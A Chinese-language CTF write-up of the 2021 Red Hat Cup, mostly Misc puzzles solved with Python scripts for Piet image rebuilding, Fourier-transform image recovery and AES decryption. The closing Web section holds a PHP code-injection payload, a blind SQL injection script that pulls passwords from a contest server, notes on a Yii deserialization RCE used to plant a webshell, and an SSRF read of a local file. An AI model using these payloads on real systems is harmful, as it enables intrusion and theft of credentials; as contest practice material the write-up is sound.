引言
第四届“红帽杯”网络安全大赛
比赛时间:2021年5月9日10:00-18:00
前段时间打了个红帽杯,不过这段时间一直在忙没空整理 Writeup。
趁着今天摸鱼,复现了两道 Misc 题。其他就简单记录一下吧。
Misc
签到
EBCDIC 编码
flag{we1c0me_t0_redhat2021}
colorful code
colorful code is beautiful, isn’t it?
最终得到flag的格式中加上flag{}包裹再提交
下载下来两个 data{1,2}
data1 是一串 0-19 之间的数字
data2 是一堆奇奇怪怪但又有规律的字符
而 data2 这最前面的东西好像颜色的标识啊。就类似于 #FF0000
这样。
于是发现可能是 npiet。
参考 https://www.dangermouse.net/esoteric/piet.html
Piet is a programming language in which programs look like abstract paintings. The language is named after Piet Mondrian, who pioneered the field of geometric abstract art. I would have liked to call the language Mondrian, but someone beat me to it with a rather mundane-looking scripting language. Oh well, we can’t all be esoteric language writers I suppose.
参考 https://www.bertnase.de/npiet/
npiet is an interpreter for piet programs and takes as input a portable pixmap (a ppm file) and since v0.3a png and gif files too - other formats may follow.
这是一种基于图像颜色的编程语言,当然还有其他有意思而神秘的编程语言,详见 Esoteric programming language。
统计一下 data1 总共有 7076 个数字,分解质因数 得到为 37*191。
考虑这就是图像的宽和高了。
按照原版的映射,颜色应该对应是下图这样的。
然而这题里魔改了一下,就根据 data2 重新映射一下。
写个 jio本。
"""
MiaoTony
"""
from PIL import Image
with open('data1', 'r') as fin:
s = fin.read()
# print(s)
l = s.split(' ')[:-1]
# print(len(l))
# 7067
# 分解质因数 http://tools.jb51.net/jisuanqi/factor_calc
# 37*191
x = 37
y = 191
c = Image.new("RGB", (x, y))
# 原版映射
# colors = ["FFC0C0", "FFFFC0", "C0FFC0",
# "C0FFFF", "C0C0FF", "FFC0FF",
# "FF0000", "FFFF00", "00FF00",
# "00FFFF", "0000FF", "FF00FF",
# "C00000", "C0C000", "00C000",
# "00C0C0", "0000C0", "C000C0",
# "000000", "FFFFFF"]
# 按照 data2 前20个像素来映射
colors = ['000000', '0000C0', '00FFFF', '00FF00', 'FFC0FF', 'FFC0C0', 'C0C0FF', 'C0C000', 'FF00FF', 'FF0000',
'C00000', 'C000C0', 'FFFFFF', 'FFFF00', 'FFFFC0', '00C000', '00C0C0', 'C0FFFF', 'C0FFC0', '0000FF']
def hex2int(h):
return (int(h[:2], 16), int(h[2:4], 16), int(h[4:6], 16))
cnt = 0
for i in range(0, x):
for j in range(0, y):
color = colors[int(l[cnt])]
c.putpixel([i, j], hex2int(color))
cnt += 1
c.show()
c.save("c.png")
得到
再到 npiet online 上去执行一下,就能拿到 flag 了。
flag{88842f20-fb8c-45c9-ae8f-36135b6a0f11}
PicPic
你想成为CV大师嘛?
challenge 1
create.py
import os
import cv2
import struct
import numpy as np
def mapping(data, down=0, up=255, tp=np.uint8):
data_max = data.max()
data_min = data.min()
interval = data_max - data_min
new_interval = up - down
new_data = (data - data_min) * new_interval / interval + down
new_data = new_data.astype(tp)
return new_data
def fft(img):
fft = np.fft.fft2(img)
fft = np.fft.fftshift(fft)
m = np.log(np.abs(fft))
p = np.angle(fft)
return m, p
if __name__ == '__main__':
os.mkdir('m')
os.mkdir('p')
os.mkdir('frame')
os.system('ffmpeg -i secret.mp4 frame/%03d.png')
files = os.listdir('frame')
r_file = open('r', 'wb')
for file in files:
img = cv2.imread(f'frame/{file}', cv2.IMREAD_GRAYSCALE)
m, p = fft(img)
r_file.write(struct.pack('!ff', m.min(), m.max()))
new_img1 = mapping(m)
new_img2 = mapping(p)
cv2.imwrite(f'm/{file}', new_img1)
cv2.imwrite(f'p/{file}', new_img2)
r_file.close()
os.system('ffmpeg -i m/%03d.png -r 25 -vcodec png 1.mkv')
os.system('ffmpeg -i p/%03d.png -r 25 -vcodec png 2.mkv')
可以发现把视频切分得到每一帧,然后 FFT 得到幅度m和相位p,再合并得到两个视频。文件 r
里存了每一帧中幅值的最大和最小值。
那咱就反过来,通过幅值和相位的视频切分得到每一帧,然后 IFFT 变换回去就完事了。
相位范围就是 -pi 到 pi 之间。
写个脚本。
"""
MiaoTony
"""
import os
import cv2
import struct
import numpy as np
from matplotlib.pyplot import plot, show
def unmapping(data_min, data_max, data, down=0, up=255, tp=np.uint8):
interval = data_max - data_min
new_interval = up - down
new_data = (data-down) * interval / new_interval + data_min
# new_data = (data - data_min) * new_interval / interval + down
# new_data = new_data.astype(tp)
return new_data
def fft(img):
fft = np.fft.fft2(img)
fft = np.fft.fftshift(fft)
m = np.log(np.abs(fft))
p = np.angle(fft)
return m, p
def ifft(m, p):
x = np.exp(m)*np.exp(1j*p)
y = np.fft.ifftshift(x)
img = np.real(np.fft.ifft2(y))
img = img.astype(np.uint8)
# print(img)
return img
if __name__ == '__main__':
# os.mkdir('m')
# os.mkdir('p')
# os.mkdir('frame')
# os.system('ffmpeg -i 1.mkv m/%03d.png')
# os.system('ffmpeg -i 2.mkv p/%03d.png')
r_file = open('r', 'rb')
s = r_file.read()
r_file.close()
print(s)
m_data = []
for i in range(len(s)//8):
x = struct.unpack('!ff', s[i*8:(i+1)*8])
# print(x)
# min, max
m_data.append(x)
files = os.listdir('m')
for idx, file in enumerate(files):
m_img = cv2.imread(f'm/{file}', cv2.IMREAD_GRAYSCALE)
p_img = cv2.imread(f'p/{file}', cv2.IMREAD_GRAYSCALE)
m_min, m_max = m_data[idx]
m = unmapping(m_min, m_max, m_img)
p = unmapping(-np.pi, np.pi, p_img)
img_raw = ifft(m, p)
# plot(img_raw)
# show()
cv2.imwrite(f'frame/{file}', img_raw)
在还原后的视频的最后,得到压缩包的解压密码 zs6hmdlq5ohav5l1
challenge 2
hint.txt
是个 MathML
<math><mrow><mo>{</mo><mtable><mtr><mtd><mi>A</mi><mi>cos</mi><mo></mo><mo>(</mo><mi>m</mi><mi>x</mi><mo>+</mo><mi>n</mi><mo>)</mo></mtd></mtr><mtr><mtd><mi>B</mi><mi>cos</mi><mo></mo><mo>(</mo><mi>p</mi><mi>x</mi><mo>+</mo><mi>q</mi><mo>)</mo></mtd></mtr></mtable><mo></mo></mrow><mo>⟶</mo><mrow><mo>{</mo><mtable><mtr><mtd><mi>A</mi><mi>cos</mi><mo></mo><mo>(</mo><mi>p</mi><mi>x</mi><mo>+</mo><mi>q</mi><mo>)</mo></mtd></mtr><mtr><mtd><mi>B</mi><mi>cos</mi><mo></mo><mo>(</mo><mi>m</mi><mi>x</mi><mo>+</mo><mi>n</mi><mo>)</mo></mtd></mtr></mtable><mo></mo></mrow><math>
也就是
意思是幅值不变,而相位相互交换。
另外给了两张图
第二张明显有个二维码,脚本整一个!
"""
MiaoTony
"""
import os
import cv2
import struct
import numpy as np
from matplotlib.pyplot import plot, show
def fft(img):
fft = np.fft.fft2(img)
fft = np.fft.fftshift(fft)
m = np.log(np.abs(fft))
p = np.angle(fft)
return m, p
def ifft(m, p):
x = np.exp(m)*np.exp(1j*p)
y = np.fft.ifftshift(x)
img = np.real(np.fft.ifft2(y))
img = img.astype(np.uint8)
# print(img)
return img
if __name__ == '__main__':
img1 = cv2.imread(f'mix1.png', cv2.IMREAD_GRAYSCALE)
img2 = cv2.imread(f'mix2.png', cv2.IMREAD_GRAYSCALE)
m1, p1 = fft(img1)
m2, p2 = fft(img2)
new_img1 = ifft(m1, p2)
new_img2 = ifft(m2, p1)
cv2.imwrite('new1.png', new_img1)
cv2.imwrite('new2.png', new_img2)
其中一张里面就看出二维码了。
再稍微调一下图像的曲线。
扫码得到
0f88b8529ab6c0dd2b5ceefaa1c5151aa207da114831b371ddcafc74cf8701c1d3318468d50e4b1725179d1bc04b251f
唔,IFFT 那步应该取模值而不是直接取实部,也就是改成
img = np.abs(np.fft.ifft2(y))
这样得到的图片就不会丢失虚部的信息了。
final challenge
根据文件名称,盲猜是相位上有猫腻。
首先将幅值调整到 -pi 到 pi 之间,当作相位,作傅里叶反变换,最后再归一化到 0 到 255 之间,画出图像。
import os
import cv2
import struct
import numpy as np
from matplotlib.pyplot import plot, show
def mapping(data, down=0, up=255, tp=np.uint8):
data_max = data.max()
data_min = data.min()
interval = data_max - data_min
new_interval = up - down
new_data = (data - data_min) * new_interval / interval + down
new_data = new_data.astype(tp)
return new_data
def fft(img):
fft = np.fft.fft2(img)
fft = np.fft.fftshift(fft)
m = np.log(np.abs(fft))
p = np.angle(fft)
return m, p
def ifft(p):
x = np.exp(1j*p)
y = np.fft.ifftshift(x)
img = np.abs(np.fft.ifft2(y))
return img
if __name__ == '__main__':
img = cv2.imread(f'phase.png', cv2.IMREAD_GRAYSCALE)
# print(img.max(), img.min())
p = mapping(img, -np.pi, np.pi, tp=np.float64)
img_raw = ifft(p)
img2 = mapping(img_raw)
cv2.imwrite('final.png', img2)
得到 AESKEY: a8bms0v4qer3wgd67ofjhyxku5pi1czl
而后用 AES ECB 模式解密
from Crypto.Cipher import AES
key = "a8bms0v4qer3wgd67ofjhyxku5pi1czl"
aes = AES.new(key, AES.MODE_ECB)
cipher = binascii.unhexlify(
"0f88b8529ab6c0dd2b5ceefaa1c5151aa207da114831b371ddcafc74cf8701c1d3318468d50e4b1725179d1bc04b251f")
flag = aes.decrypt(cipher)
print(flag)
# b'flag{1ba48c8b-4eca-46aa-8216-d164538af310}\x06\x06\x06\x06\x06\x06'
flag{1ba48c8b-4eca-46aa-8216-d164538af310}
草,果然是 CV 带师,把傅里叶变换各种折腾,喵喵是 fw,咱自己爬((
Web
find_it
robots.txt
泄露,访问 1ndexx.php
报500,后打开 .1ndexx.php.swp
拿到源码,phpinfo 页面拿到 flag
code=<?php phpinfo();?>
framework
www.zip
拿到源码
yii 反序列化漏洞 RCE CVE-2020-15148
魔改 exp file_put_contents
上传马,然后蚁剑连上后绕过 disable_function,拿到 flag
WebsiteManger
image.php?id=
存在注入
import requests
passwd = ''
for i in range(1, 100):
for j in range(48, 103):
url = 'http://eci-2zeir5o8p6vh97bek411.cloudeci1.ichunqiu.com/image.php?id=if(ascii(substr((select/**/group_concat(password)/**/from/**/users),{},1))={},1,0)'.format(
i, j)
r = requests.get(url)
if(r.content):
print(chr(j))
passwd += chr(j)
print(passwd)
continue
# e845b14ae11ff886a2f72
admin
/ e845b14ae11ff886a2f72
登录
而后 SSRF file:///flag
拿到 flag
小结
喵喵好菜啊,喵呜呜。
写论文好烦啊,太难受啦!
还是摸鱼舒服。
(溜了溜了